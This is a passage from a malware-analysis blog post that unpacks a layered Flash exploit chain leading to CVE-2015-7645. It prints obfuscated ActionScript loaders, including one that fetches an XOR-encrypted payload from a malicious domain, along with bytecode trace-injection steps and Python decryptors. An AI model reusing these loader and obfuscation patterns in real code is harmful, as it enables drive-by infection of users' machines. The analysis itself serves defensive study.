callpropvoid Qname(PackageNamespace(""),"trace") 1
..
</pre>
</br>
The trace functions span lines 2-4 and 10-12. The only difference between operating on a static string and a variable is just the line in the middle. If a static string is used, it is pushed onto the stack with <b>pushstring</b> before calling trace on it, whereas if we want to trace a variable, the latter is obtained with a get command. Note that if the variable is stored with setlocal_2 (rather than setlocal_1 like in line 8), we need to call getlocal_2, etc..
</br></br>
We'll be injecting these 3 lines, or a variation of them, whenever we want to display what's happening. Familiarise yourself with them as we'll be using them extensively.
</br></br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">Torment 1</span></h2>
</div>
</br>
With everything equipped, we can start looking at the SWF we've extracted earlier. Decompress the SWF file with flasm : <b>flasm -x Torment1.swf</b>. You can tell if an SWF is compressed or not by the first 3 bytes of the file:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcbcxDdvU3FUseG9ibZ-gxShWT795_JyGzaFDpJrzLxPQFIcoXzWIHNRzodjhqb-_MGyRcXboQ4C7tz0Gsb26m4VlltW5Obd5ViG93KUcRTqqpD7QAOE5J1iQYvGYk6sFlCsOwcqcIDmG9/s1600/2_CWS_FWS.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcbcxDdvU3FUseG9ibZ-gxShWT795_JyGzaFDpJrzLxPQFIcoXzWIHNRzodjhqb-_MGyRcXboQ4C7tz0Gsb26m4VlltW5Obd5ViG93KUcRTqqpD7QAOE5J1iQYvGYk6sFlCsOwcqcIDmG9/s640/2_CWS_FWS.bmp" /></a></div>
</br></br>
<b>CWS</b> implies that the SWF file is compressed; <b>FWS</b> means it's not. We'll be working with the uncompressed version so load it into JPEXS. The file only contains 2 classes, 1 of which is the AS3 Base64 class. Focusing on the other class, MainTimeline, we notice that it's constructor calls frame1():
</br></br>
<pre class="brush:as3;">
function frame1() : *
{
this.QhrihiNE = "783427182340h29751t24335906t6556p8950:81830924235/8524385924047081/90649164";
this.AsYtBsty = "153632010324.0635847936779304x546151328329m8295457206166335l580679395909960";
this.ZQhiDQnz = "63246z2634a2436l754e6234i34636m3426n346e63v364i346s346k634i62346v2356g86o625r652l2o625.526w562e56b747547si74375t56e365";
this.WasGNAQK = "IiIXIiIVIiIsiAIiIHIiIhqIiIXIiIHIiIV1IiITIiIT8IiInIiIPEIiIBIiI_IiITIiIgIiIcIiI";
this.ShkZArak = /[0-9]/g;
this.XtrYzyHQ = this.QhrihiNE.replace(this.ShkZArak,"");
this.ETbDRAkD = this.ZQhiDQnz.replace(this.ShkZArak,"");
this.DHBzKFSG = this.AsYtBsty.replace(this.ShkZArak,"");
this.CHsSsDes = this.XtrYzyHQ + this.ETbDRAkD + "/" + this.WasGNAQK + this.DHBzKFSG;
this.RASEGANa = /IiI/g;
this.VeBhnHFA = new URLLoader();
this.VeBhnHFA.load(new URLRequest(this.CHsSsDes.replace(this.RASEGANa,"")));
this.VeBhnHFA.addEventListener(Event.COMPLETE,this.TteNDbdn);
this.button.addEventListener(MouseEvent.MOUSE_DOWN,this.onClick);
}
</pre>
</br>
It's not difficult to deduce what the obfuscation technique is doing but let's use the trace() technique on <b>this.CHsSsDes</b> which concatenates 3 out of 4 strings after they've been deobfuscated. After inserting the trace bytecode, the new file should look like this:
</br></br>
<pre class="brush:as3;">
getlex Qname(PackageNamespace(""),"RegExp")
pushstring "IiI"
pushstring "g"
construct 2
findpropstrict Qname(PackageNamespace(""),"trace")
getlocal_0
getproperty Qname(PackageNamespace(""),"CHsSsDes")
callpropvoid Qname(PackageNamespace(""),"trace") 1
initproperty Qname(PackageNamespace(""),"RASEGANa")
getlocal_0
findpropstrict Qname(PackageNamespace("flash.net"),"URLLoader")
</pre>
</br>
The inserted lines are 6-9. To come up with the contents of lines 7-8 I looked at how the variable <b>CHsSsDes</b> is being set, and replaced <b>setproperty</b> to <b>getproperty</b>. Set is used to push onto the stack while Get is used to pop from the stack; for every set there's a get. The <b>getlocal_0</b> is what the <b>this</b> keyword translates to.
</br></br>
Save the file and open it with Flash SA. Hmm .. it pops an error which is also displayed in the flashlog:
</br></br>
<pre class="brush:plain;">
Warning: HTTP send request error, 12007: /crossdomain.xml
Warning: Failed to load policy file from http://zaleimneviskivgorlo.website/crossdomain.xml
*** Security Sandbox Violation ***
Connection to http://zaleimneviskivgorlo.website/XVsiAHhqXHV1TT8nPEB_Tgc.xml halted - not permitted from file:///C|/Users/Flash/Desktop/Spartan%20Blog/Torment%201/Torment1.swf
Error #2044: Unhandled securityError:. text=Error #2048: Security sandbox violation: file:///C|/Users/Flash/Desktop/Spartan%20Blog/Torment%201/Torment1.swf cannot load data from http://zaleimneviskivgorlo.website/XVsiAHhqXHV1TT8nPEB_Tgc.xml.
at non_adult_link1_fla::MainTimeline/frame1()
Error: Request for resource at http://zaleimneviskivgorlo.website/XVsiAHhqXHV1TT8nPEB_Tgc.xml by requestor from file:///C|/Users/Flash/Desktop/Spartan%20Blog/Torment%201/Torment1.swf is denied due to lack of policy file permissions.
</pre>
</br>
Flash is complaining about the lack of a crossdomain.xml file on the server it is trying to communicate with. The URLs that stand out in this error are:
<ul>
<li style="color:#cccccc;">http://zaleimneviskivgorlo.website/crossdomain.xml
<li style="color:#cccccc;">http://zaleimneviskivgorlo.website/XVsiAHhqXHV1TT8nPEB_Tgc.xml
</ul>
</br>
Do they look familiar? Take a look at the Fiddler file again. Our Flash file only requests the 2nd URL; the 1st is a by-product but is still required for the 2nd request to be carried out. At this point we could spin up a web server to host these files and edit the URLs in the Flash file or, use Fiddler's AutoResponder feature. Opting for the latter is much easier. The following screenshot shows the 2 AutoResponder rules I've used:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7UI6HLoaZ34S8RNTEqXayNKP-cCvbZGlbnd4fO3G-gZN4CBMFxM34lvGzMz-MNLO0_iK7Arm0lQguQlYZl8LI2I6E6hShDdSggmulcRfWDrz1DB7TUwy5zu3cd3Xu8_dPtBnoZckQUDnE/s1600/3_Fiddler_Autoresponder.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7UI6HLoaZ34S8RNTEqXayNKP-cCvbZGlbnd4fO3G-gZN4CBMFxM34lvGzMz-MNLO0_iK7Arm0lQguQlYZl8LI2I6E6hShDdSggmulcRfWDrz1DB7TUwy5zu3cd3Xu8_dPtBnoZckQUDnE/s700/3_Fiddler_Autoresponder.bmp" /></a></div>
</br>
Run the Flash file again. This time we don't get any errors and the flashlog contains the trace() output:
</br></br>
<pre class="brush:plain;">
http://zaleimneviskivgorlo.website/IiIXIiIVIiIsiAIiIHIiIhqIiIXIiIHIiIV1IiITIiIT8IiInIiIPEIiIBIiI_IiITIiIgIiIcIiI.xml
Warning: Domain zaleimneviskivgorlo.website does not specify a meta-policy. Applying default meta-policy 'master-only'. This configuration is deprecated. See http://www.adobe.com/go/strict_policy_files to fix this problem.
</pre>
</br>
Ignore the warning at line 2. The 1st line contains the output of <b>trace(this.CHsSsDes)</b> which is a partially-obfuscated URL. By now we know what it will translate to after deobfuscation. This might have not been the best example to showcase the usefulness of the trace() function but I wanted to use it as early as possible to give you the time to get accustomed to it. In subsequent sections we'll encounter situations where it's not as easy to decipher the obfuscation. In those cases, the use of trace() will be paramount.
</br></br>
Looking back at the frame1() function, after the response is received the event listener (line 15) is triggered and TteNDbdn() is called:
</br></br>
<pre class="brush:as3;">
public function TteNDbdn(param1:Event) : void
{
this.FFtReGFe = XML(param1.target.data);
var _loc2_:* = this.FFtReGFe.item[3];
var _loc3_:* = Base64.decode(this.FFtReGFe.item[4]);
var _loc4_:* = new (getDefinitionByName("flash.display.Loader") as Class)();
_loc4_["loadBytes"](this.GSnRdsQb(_loc2_,_loc3_));
addChild(_loc4_);
}
</pre>
</br>
The function loads the XML file from the response in <b>this.FFrReGFe</b>, extracts 2 items from it, base64 decodes the 2nd one and passes the 2 strings to <b>this.GSnRdsQb</b>. Let's stop here for the time being and inject some trace bytecode to view what <b>_loc2_</b> contains; we can then deduce that <b>_loc3_</b> will contain a base64 decoding of the next string found in the XML file.
</br></br>
<pre class="brush:as3;">
coerce_a
setlocal_2
findpropstrict Qname(PackageNamespace(""),"trace")
getlocal_2
callpropvoid Qname(PackageNamespace(""),"trace") 1
getlex Qname(PackageNamespace("com.sociodox.utils"),"Base64")
getlocal_0
getproperty Qname(PackageNamespace(""),"FFtReGFe")
</pre>
</br>
After running the SWF file, the Flash log contains the following string:
</br></br>
<pre class="brush:plain;">
128cb5c296a363078b50cd400d5611da
</pre>
</br>
Compare it with the XML file in the response:
</br></br>
<pre class="brush:xml;">
<?xml version="1.0" encoding="utf-8"?>
<toppings>
<item>0efabd8e08ccd3604217c830c8ce97bf</item>
<item>0bb046e55098f9afa5b1c6a3c35c26d5</item>
<item>ed5bf8037ff394c045394e0f08293903</item>
<item>128cb5c296a363078b50cd400d5611da</item>
<item>cmVrbfqYYzJB7D1EVaMWe4sHTurVCe+GDQkIW+qHCbqHX+PVGU+57M7Lj+6LiGsmzUEG/1rxYSll
..
..
XR5lkkziiLDQzl1IbBnKcCCMSRk1svJHQmdITuGmJo18vMJdB725883sw36DGNkNDAwZDU2MTFkYQ==</item>
</toppings>
</pre>
</br>
So <b>_loc2_</b> contains the 4th item in the XML file; we can safely assume that <b>_loc3_</b> contains a base64 decoding of the 5th string, which has been truncated in the above extract. This also makes sense as the last item is the only one which looks anything like a base64 encoded string. These 2 variables are passed to the GSnRdsQb() function:
</br></br>
<pre class="brush:as3;">
public function GSnRdsQb(param1:String, param2:ByteArray) : ByteArray
{
var _loc3_:ByteArray = new ByteArray();
var _loc4_:int = 0;
while(_loc4_ < param2["length"])
{
if(_loc4_ > param1["length"] - 1)
{
param1 = param1 + param1;
}
_loc3_["writeByte"](param2[_loc4_] ^ param1["charCodeAt"](_loc4_));
_loc4_++;
}
_loc3_["position"] = 0;
return _loc3_;
}
</pre>
</br>
This function is easily recognisable as an XOR encryption/decryption function where param1 is the key and param2, in our case<b>_loc3_</b>, is the message. From TteNDbdn() we know that the bytes of the variable returned by this function will be loaded to <b>_loc4_</b> and added as a child class. But what is being loaded exactly? To answer this question we reconstruct the GSnRdsQb() function in python and input the values:
</br></br>
<pre class="brush:python;">
import base64
def decryptor (key, enc):
encLen = len(enc)
keyLen = len(key)
key = key * ((encLen / keyLen) + 1)
key = key[:encLen]
return bytearray(a^b for a, b in zip(*map(bytearray, [enc, key])))
key = "128cb5c296a363078b50cd400d5611da"
enc64SWF = "cmVrbfqYYzJB7D1EVaMWe4 .. w36DGNkNDAwZDU2MTFkYQ=="
f = open('1.bin', 'wb')
encSWF = base64.b64decode(enc64SWF)
temp = decryptor (key, encSWF)
f.write(temp)
f.close
</pre>
</br>
The python program writes the result to 1.bin. Opening it in a hex editor we notice something interesting:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuTE7znZkbf_r0iEiOoJyN9WUX3UspAZUzgOCVP-8xfuuDKaHQEkfbtp6jZdwWj6_dOEwkRjUzchAkXovx46cfGXvuDjubzid_jqD4Gfv9dl-lyMLbOEigFusQ-wXOkgDrncHz9ftdADEp/s1600/4_Torment2.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuTE7znZkbf_r0iEiOoJyN9WUX3UspAZUzgOCVP-8xfuuDKaHQEkfbtp6jZdwWj6_dOEwkRjUzchAkXovx46cfGXvuDjubzid_jqD4Gfv9dl-lyMLbOEigFusQ-wXOkgDrncHz9ftdADEp/s640/4_Torment2.bmp" /></a></div>
</br>
Yep .. it's an embedded Flash file. My speculation about the reason behind this is that 1) if the domain hosting the exploit changes, only the outer Flash file requires modification, 2) by getting hold of only this SWF file, malware analysts cannot deduce anything about the exploit itself.
</br></br>
Rename the file to <b>Torment2.swf</b> and let's move on; we've got a long way ahead of us.
</br></br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">Torment 2</span></h2>
</div>
</br>
Welcome to Torment 2 !! Extract the new Flash file with flasm and load it in JPEXS. Effectively only class <b>xpTdZXAtR</b> contains interesting code. Straight off the bat we notice a few similarities to the previous layer: an XOR encryption/decryption function, regular expressions, and obfuscated strings. Let's not jump ahead of ourselves though and tackle this methodically. The constructor calls function EimYJdprwLHD():
</br></br>
<pre class="brush:as3;">
private function EimYJdprwLHD(param1:Object = null) : void
{
var _loc3_:* = undefined;
var _loc2_:LoaderContext = this.yYJREHXgUy("G5GHGJx6GqxJGz ... v5v5u7upv5z4z4z4uuuu");
this[GQHtPVEtfy(WKEiwXYJbqUp)](GQHtPVEtfy(ainUIrXFKdm),this.EimYJdprwLHD);
try
{
_loc3_ = new (this.wAPgQFJHo("") as Class)();
_loc3_[GQHtPVEtfy(OKNgrbzEm)](TPbsJhbqQh(this.wAPgQFJHo("VVV")[NxOVolazP](/[(!)]/g,"")),_loc2_);
this.stage[GQHtPVEtfy(tFioXzNKeK)](_loc3_);
return;
}
catch(e:Error)
{
return;
}
}
</pre>
</br>
We can't make much sense of it without deobfuscation. This process is handled by function GQHtPVEtfy() which simply removes <b>Z</b>'s and <b>!</b>'s from the mangled strings. Not much of an obfuscation! Function wAPgQFJHo() also tries to hinder our progress but doesn't do a good job of it:
</br></br>
<pre class="brush:as3;">
private function wAPgQFJHo(param1:String) : *
{
if(param1 === "VVV")
{
return "!!!!!4d07059cb79e3545dcf7f0cf5bc33baa!!!!!!";
}
if("sd2" !== "FFF")
{
return getDefinitionByName(GQHtPVEtfy(wuVcLSRZne));
}
}
</pre>
</br>
Inserting the unobfuscated strings and the returned variables from wAPgQFJHo(), we get a clearer picture:
</br></br>
<pre class="brush:as3;">
private function EimYJdprwLHD(param1:Object = null) : void
{
var _loc3_:* = undefined;
var _loc2_:LoaderContext = this.yYJREHXgUy("G5GHGJx6GqxJGz ... v5v5u7upv5z4z4z4uuuu");
this[removeEventListener]("addedtoStage",this.EimYJdprwLHD);
try
{
_loc3_ = new (getDefinitionByName("flash.display.Loader") as Class)();
_loc3_["loadBytes"](TPbsJhbqQh("4d07059cb79e3545dcf7f0cf5bc33baa"),_loc2_);
this.stage["addChild"](_loc3_);
return;
}
catch(e:Error)
{
return;
}
}
</pre>
</br>
Much like the previous layer, this SWF file loads bytes into a loader class _loc3_ and adds it as a child. The bytes in question are returned from <b>TPbsJhbqQh("4d07059cb79e3545dcf7f0cf5bc33baa")</b>:
</br></br>
<pre class="brush:as3;">
public static function TPbsJhbqQh(param1:String) : ByteArray
{
var _loc2_:String = GQHtPVEtfy(wSXukGGsFR); //translates to "position"
var _loc3_:ByteArray = new DonpQyvjmTqN() as ByteArray;
var _loc4_:ByteArray = dMbRyCRNPq(param1,_loc3_);
_loc4_[_loc2_] = 0;
return _loc4_;
}
</pre>
</br>
The magic happens at line 5. <b>dMbRyCRNPq()</b> is the same XOR decryption function we encountered in Torment1.swf; we know what param1 is and that it will be used as the key; the missing piece of the puzzle is _loc3_. Let's use our favourite trace() bytecode injection technique to take a peek at it's contents. After the injection the bytecode should look similar to this:
</br></br>
<pre class="brush:as3;">
coerce Qname(PackageNamespace("flash.utils"),"ByteArray")
setlocal_3
findpropstrict Qname(PackageNamespace(""),"trace")
getlocal_3
callpropvoid Qname(PackageNamespace(""),"trace") 1
findpropstrict Qname(PackageNamespace(""),"dMbRyCRNPq")
getlocal_1
</pre>
</br>
Running the SWF file and opening the flashlog we see total chaos:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFPCw02bj-Aq2arwzOOKdD7Y9LFuGUeHs-Ed1Rn9LaN2RFO_WHYrjlL6J-RbCQSNcR60cT6A2NmOOEyFs4nzoFR4U6h4WJJX8-UO8ysBzT4eYcvrD-zc6nJGCjUMSZch9Sb8QkJSA_fzFj/s1600/5_Torment2_bin.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFPCw02bj-Aq2arwzOOKdD7Y9LFuGUeHs-Ed1Rn9LaN2RFO_WHYrjlL6J-RbCQSNcR60cT6A2NmOOEyFs4nzoFR4U6h4WJJX8-UO8ysBzT4eYcvrD-zc6nJGCjUMSZch9Sb8QkJSA_fzFj/s640/5_Torment2_bin.bmp" /></a></div>
</br>
Where did this come from? The bytes are taken from the SWF file itself. Take a look at JPEXS, under binaryData:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisRgBnj7ojaY_KB2iI48Wdik5SlDlmy2AlYBFv02ugsASZXxFW80ZOlwk5D-kXM1c_dNkslDfwplVBxpizyUK0ADj4s_VAqG3ryaT1tIlxEqhkYv4dy8Xpe6WpzCYxtfkSreFCeUtIDWxp/s1600/5_Torment2_bin_jpexs.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisRgBnj7ojaY_KB2iI48Wdik5SlDlmy2AlYBFv02ugsASZXxFW80ZOlwk5D-kXM1c_dNkslDfwplVBxpizyUK0ADj4s_VAqG3ryaT1tIlxEqhkYv4dy8Xpe6WpzCYxtfkSreFCeUtIDWxp/s640/5_Torment2_bin_jpexs.bmp" /></a></div>
</br>
The 2 files do not match tit for tat as trace does not handle non-ascii characters very well, but they are the same set of data. Going back to the bigger picture, Torment.swf XOR-decrypts a blob of binary data using <b>4d07059cb79e3545dcf7f0cf5bc33baa</b> as the key. Export the binary data from JPEXS, modify the python XOR-decryptor program we used earlier to read the bytes from this file and run it. As expected we get another SWF file. Rename it to Torment10.swf.
</br></br>
Before we move on, there's something important I would like to revisit in function EimYJdprwLHD(). The function called at line 4 passes a strange-looking string to <b>this.yYJREHXgUy</b>:
</br></br>
<pre class="brush:as3;">
private function yYJREHXgUy(param1:String) : LoaderContext
{
var _loc2_:LoaderContext = new LoaderContext();
_loc2_.parameters = {"exec":param1};
return _loc2_;
}
</pre>
</br>
The string, now located in param1, is associated with the word "exec" and loaded as a parameter of loaderContext _loc2_ on line 4. After it has been returned by yYJREHXgUy(), the variable is loaded, via loadBytes, to Torment10.swf on line 9 in EimYJdprwLHD(). This is the method used by SWF files to pass parameters to child SWF files and hence Torment10.swf will have access to this "exec" string.
</br></br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">Torment 10</span></h2>
</div>
</br>
What's happening here? Where are the rest of the Torment levels? As you will soon find out, this SWF file will be our toughest hurdle yet, hence the jump in levels. Decompress and load in JPEXS.
</br></br>
The Flash file looks nothing like the previous 2; it contains 23 strangely-named highly-obfuscated classes. Unfortunately going through each and every line of code is not an option. The plan is to skim through the execution path, going into detail only where necessary.
</br></br>
Running Torment10.swf throws an error which we haven't encountered yet:
</br></br>
<pre class="brush:plain;">
TypeError: Error #1009: Cannot access a property or method of a null object reference.
at class_1$/asfsgrggvxvb()
at class_1$/Init()
at class_7/Init()
at class_7()
</pre>
</br>
The function class_7.Init() tries to loads the "exec" value from loaderInfo.parameters which is meant to be passed from the parent SWF file. As we have done away with the parent layer, the SWF is complaining that the value is null. We can fix this by setting the string as a constant in the SWF file directly. Replace the bytecode of the function with the following:
</br></br>
<pre class="brush:as3;">
code
getlocal_0
pushscope
findpropstrict Qname(PackageNamespace("","2"),"removeEventListener")
pushstring "addedToStage"
getlex Qname(PackageInternalNs(""),"init")
callpropvoid Qname(PackageNamespace("","2"),"removeEventListener") 2
pushnull
coerce_s
setlocal_3
ofs0010:pushstring "G5GHGJx6GqxJGzxJ ... qvqu5w7uGv5v5v5v5v5v5v5v5u7upv5z4z4z4uuuu"
coerce_s
setlocal_3
ofs0015:jump ofs0026
ofs0019:getlocal_0
pushscope
newcatch 0
dup
setlocal 5
dup
pushscope
swap
setslot 1
popscope
ofs0026:getlex Qname(PackageNamespace("","2"),"class_1")
getlocal_3
callpropvoid Qname(PackageNamespace("","2"),"Init") 1
returnvoid
returnvoid
</pre>
</br>
The ActionScript source equivalent looks like this:
</br></br>
<pre class="brush:as3;">
private function Init(param1:Event = null) : void
{
removeEventListener("addedToStage",init);
var _loc3_:String = null;
_loc3_ = "G5GHGJx6GqxJGzxJGH ... 7uGv5v5v5v5v5v5v5v5u7upv5z4z4z4uuuu";
class_1.Init(_loc3_);
}
</pre>
</br>
Remember that JPEXS does not handle editing AS3 directly very well so copy and paste the bytecode and save. Opening the Flash file should not display any errors now. The next function in line is class_1.Init(_loc3_):
</br>
</br>
<pre class="brush:as3;">
public static function Init(param1:String) : *
{
var _loc4_:* = undefined;
var _loc2_:* = undefined;
var _loc5_:* = null;
var _loc3_:uint = class_10.method_54();
if(_loc3_ <= 190000207)
{
§_-5§ = asfsgrggvxvb(param1);
_loc4_ = class_10.rc4_decrypt(class_11.method_72(r3dbsdf()),§_a_-_---§.§_a_--_--§(-1820302796));
var_96 = JSON["parse"](_loc4_.readUTFBytes(_loc4_.length));
try
{
§_-q§.method_48(var_96);
if(§_-Q§)
{
extLoaded(null);
return;
}
_loc2_ = class_11.method_72(§_-q§.vari42);
_loc2_[§_-q§.vari37]();
_loc2_[§_-q§.vari12] = 0;
_loc5_ = new §_-q§.vari4();
_loc5_[§_-q§.vari38][§_-q§.vari39](Event[§_-q§.vari40],extLoaded);
_loc5_[§_-q§.vari41](_loc2_,new LoaderContext(false,ApplicationDomain[§_-q§.vari30]));
return;
}
catch(e:Error)
{
return;
}
}
}
</pre>
</br>
Notice the Flash version checking on line 7. If Flash is newer than v19.0.0.207, execution stops. As we're using that exact version we'll be exploited, as intended. Line 9 assigns the string in "param1" to §_-5§ which is defined in superclass class_0. Lines 10-11 seem to be base64 decoding some data (class_11.method_72), decrypting it using RC4 (class_10.rc4_decrypt), loading it into _loc4_, parsing it as JSON (JSON["parse"]) and loading it into var_96. Thanks to trace we can directly peek at the end result i.e. the contents of _loc4_, which is expected to be in JSON format:
</br></br>
<pre class="brush:as3;">
{
"vari1": "flash.utils.ByteArray",
"vari2": "flash.system.Capabilities",
"vari3": "flash.utils.Endian",
"vari4": "flash.display.Loader",
"vari5": "",
"vari6": "",
"vari7": "",
...
"vari89": 7,
"vari90": 4096,
"vari91": 3221225472,
"vari92": 24,
"vari93": 50,
"vari94": 20
}
</pre>
</br>
The method <b>§_-q§.method_48</b> at line 14 takes this JSON object stored in var_96 and maps it to class §_-q§. For example, vari1 will be equal to §_-q§.vari1, vari2 will be equal to §_-q§.vari2, etc. With this information at hand and some trace bytecode injection we can resolve most of the obfuscated variables located in class_1.Init(_loc3_):
</br></br>
<pre class="brush:as3;">
public static function Init(param1:String) : *
{
var _loc4_:* = undefined;
var _loc2_:* = undefined;
var _loc5_:* = null;
var _loc3_:uint = class_10.method_54();
//Version checking : Continue only if Flash <= 19.0.0.207
if(_loc3_ <= 190000207)
{
//Decodes param1 and assigns it to a global variable
§_-5§ = asfsgrggvxvb(param1);
//_loc4_ contains the JSON displayed before
_loc4_ = class_10.rc4_decrypt(class_11.method_72(r3dbsdf()),§_a_-_---§.§_a_--_--§(-1820302796));
//parses _loc4_ as JSON and assigns it to var_96
var_96 = JSON["parse"](_loc4_.readUTFBytes(_loc4_.length));
try
{
//maps the JSON object to class §_-q§
§_-q§.method_48(var_96);
if(§_-Q§)
{
extLoaded(null);
return;
}
//Base64 decode some string
_loc2_ = class_11.method_72("eJzFmPl3XFVyx9+9Xa1qrZZk+Um ... cv/O01+Xjv/DZCjV0Q=");
// Decompress it using zlib (default algorithm)
_loc2_["uncompress"]();
_loc2_["position"] = 0;
_loc5_ = new flash.display.Loader();
//Event listener : jump to function extLoaded() when the event is completed
_loc5_["contentLoaderInfo"]["addEventListener"](Event["COMPLETE"],extLoaded);
//load bytes from _loc2_ (suggests _loc2_ contains another SWF file)
_loc5_["loadBytes"](_loc2_,new LoaderContext(false,ApplicationDomain["currentDomain"]));
return;
}
catch(e:Error)
{
return;
}
}
}
</pre>
</br>
We now have a much better understanding at what the function does. Once again we encounter a very familiar scenario: some bytes are decoded/decrypted, an event listener is attached, the bytes are loaded. When the event completes, function extLoaded() is called. Using trace on _loc2_ after compression we notice the magic bytes of an uncompressed SWF:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKxMpf35Q4lRzsBGu2tsHlA6-LxlzhHLlgGrAobAhiMFnC1td1lR0LG3d2Qt2OCfpqDZphNt-Y7vV0enUbvTSy1QfMW8FCkvHn5Tv5JApPt-hn8rodY5MO658xkPonwuODs7EQmU1LExcf/s1600/Untitled.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKxMpf35Q4lRzsBGu2tsHlA6-LxlzhHLlgGrAobAhiMFnC1td1lR0LG3d2Qt2OCfpqDZphNt-Y7vV0enUbvTSy1QfMW8FCkvHn5Tv5JApPt-hn8rodY5MO658xkPonwuODs7EQmU1LExcf/s640/Untitled.bmp" /></a></div>
</br>
Another Flash file ??!! Really ?!? To analyse it in JPEXS we can't use this output since, as I've mentioned earlier, trace does not handle non-ascii characters very well. The file is constructed by base64 decoding a string and uncompressing it using zlib, the default (de)compression algorithm used by Flash. Let's create a small python script to do this for us:
</br></br>
<pre class="brush:python;">
import base64
import zlib
encCompSWF = "eJzFmPl3XFVyx9+9Xa1qrZZk+UmWLFu2 ... 7V68t/zOk/N9pPcv/O01+Xjv/DZCjV0Q="
compSWF = base64.b64decode(encCompSWF)
SWF = zlib.decompress(compSWF)
with open('cowlevel.swf', 'wb') as f:
f.write(SWF)
</pre>
</br>
The SWF file is decompressed so load it into JPEXS.
</br></br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">The Cow Level is a Lie</span></h2>
</div>
</br>
This SWF file contains the actual Type Confusion vulnerability (CVE-2015-7645) discovered by <a href="https://twitter.com/natashenka">@natashenka</a> from Google Project Zero. In her <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=547&can=1&q=owner%3Anatashenka%40google.com">post</a> she writes:
</br></br>
<i>If IExternalizable.writeExternal is overridden with a value that is not a function, Flash assumes it is a function even though it is not one. This leads to execution of a 'method' outside of the ActionScript object's ActionScript vtable, leading to memory corruption.</i>
</br></br>
In cowlevel.swf file this happens in class MyExt1:
</br></br>
<pre class="brush:as3;">
...
var a27:Object;
var writeExternal:Object = true;
public function MyExt1()
{
super();
}
...
</pre>
</br>
The writeExternal function is overwridden with object "true". Analysing the CVE itself is not in scope for this blog so I'll be leaving it at that.
</br></br>
There's not much else going on in this file so back to Torment10.swf.
</br></br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">Torment 10 (revisited)</span></h2>
</div>
</br>
Continuing from where we left off, we're in extLoaded() which was called by the event handler after cowlevel.swf has been loaded. This function essentially calls EXP_try() which hooks into MyExt2() from cowlevel.swf and predicts the crash amongst other things:
</br></br>
<pre class="brush:as3;">
// _loc4_[§_-q§.vari33] => [object MyExt2]["writeExternal"]
var _loc6_:* = _loc4_[§_-q§.vari33];
if(_loc6_ is Function)
{
Throw("");
}
</pre>
</br>
As described in the previous section, the crash happens when writeExternal is assigned to anything other than a function. If it is still of type function, the exploit did not work hence it will throw an error and halt execution. We're running a vulnerable version of Flash so we have no issues here. EXP_try() then calls <b>class_4.EXP_try(_loc4_)</b> or <b>§_-I§.EXP_try(_loc4_)</b> depending on the architecture it is running on:
</br></br>
<pre class="brush:as3;">
//_loc4_[§_-q§.vari36] => [object MyExt2]["x64"]
if(_loc4_[§_-q§.vari36])
{
class_4.EXP_try(_loc4_);
}
else
{
§_-I§.EXP_try(_loc4_);
}
</pre>
</br>
A trace reveals that _loc4_[§_-q§.vari36] returns "undefined" and since we're on an x64 machine I'm assuming that the check is on the process itself (which is 32-bit) rather than the machine, which also makes more sense from an exploitation point of view. The function §_-I§.EXP_try(_loc4_) is executed next.
</br></br>
This function is a good example of why the AS3 interpretation in JPEXS should not be trusted blindly. According to the bytecode of Torment10.swf, there are a few functions that are executed before others but they're displayed after in the AS3 interpretation. In essence, §_-I§.EXP_try(_loc4_) makes the following relevant call:
</br></br>
<pre class="brush:as3;">
// §_-q§.vari45 => "db7f335571b4f0c67670335deefe2e3c" taken from the JSON structure
// §_-5§ => from class_1.Init() (§_-5§ = asfsgrggvxvb(param1);)
// §_-p§ => [class _-p]
// CleanUp => some non-important function in this class
§override const§.Load(§_-q§.vari45,§_-5§,§_-p§,CleanUp);
</pre>
</br>
The AS3 interpretation is even worse here than in the previous function. Additionally the first few lines which, as we'll see later are crucial to the repurposing of this exploit, are completely left out of the AS3 translation. The following is the beginning of the Load function in class §override const§:
</br></br>
<pre class="brush:as3;">
static function Load(param1:String, param2:String, param3:Class, param4:Function) : *
{
try
{
_loc5_.position = _loc5_.length;
if(_loc9_)
{
while(true)
{
_loc5_.endian = "littleEndian";
...
</pre>
</br>
Whilst the bytecode tells a different story:
</br></br>
<pre class="brush:as3;">
code
getlocal_0
pushscope
pushnull
setlocal 5
pushnull
setlocal 6
ofs0008:findpropstrict Qname(PackageNamespace("flash.utils"),"ByteArray")
constructprop Qname(PackageNamespace("flash.utils"),"ByteArray") 0
coerce Qname(PackageNamespace("flash.utils"),"ByteArray")
setlocal 5
findpropstrict Qname(PackageNamespace("flash.utils"),"ByteArray")
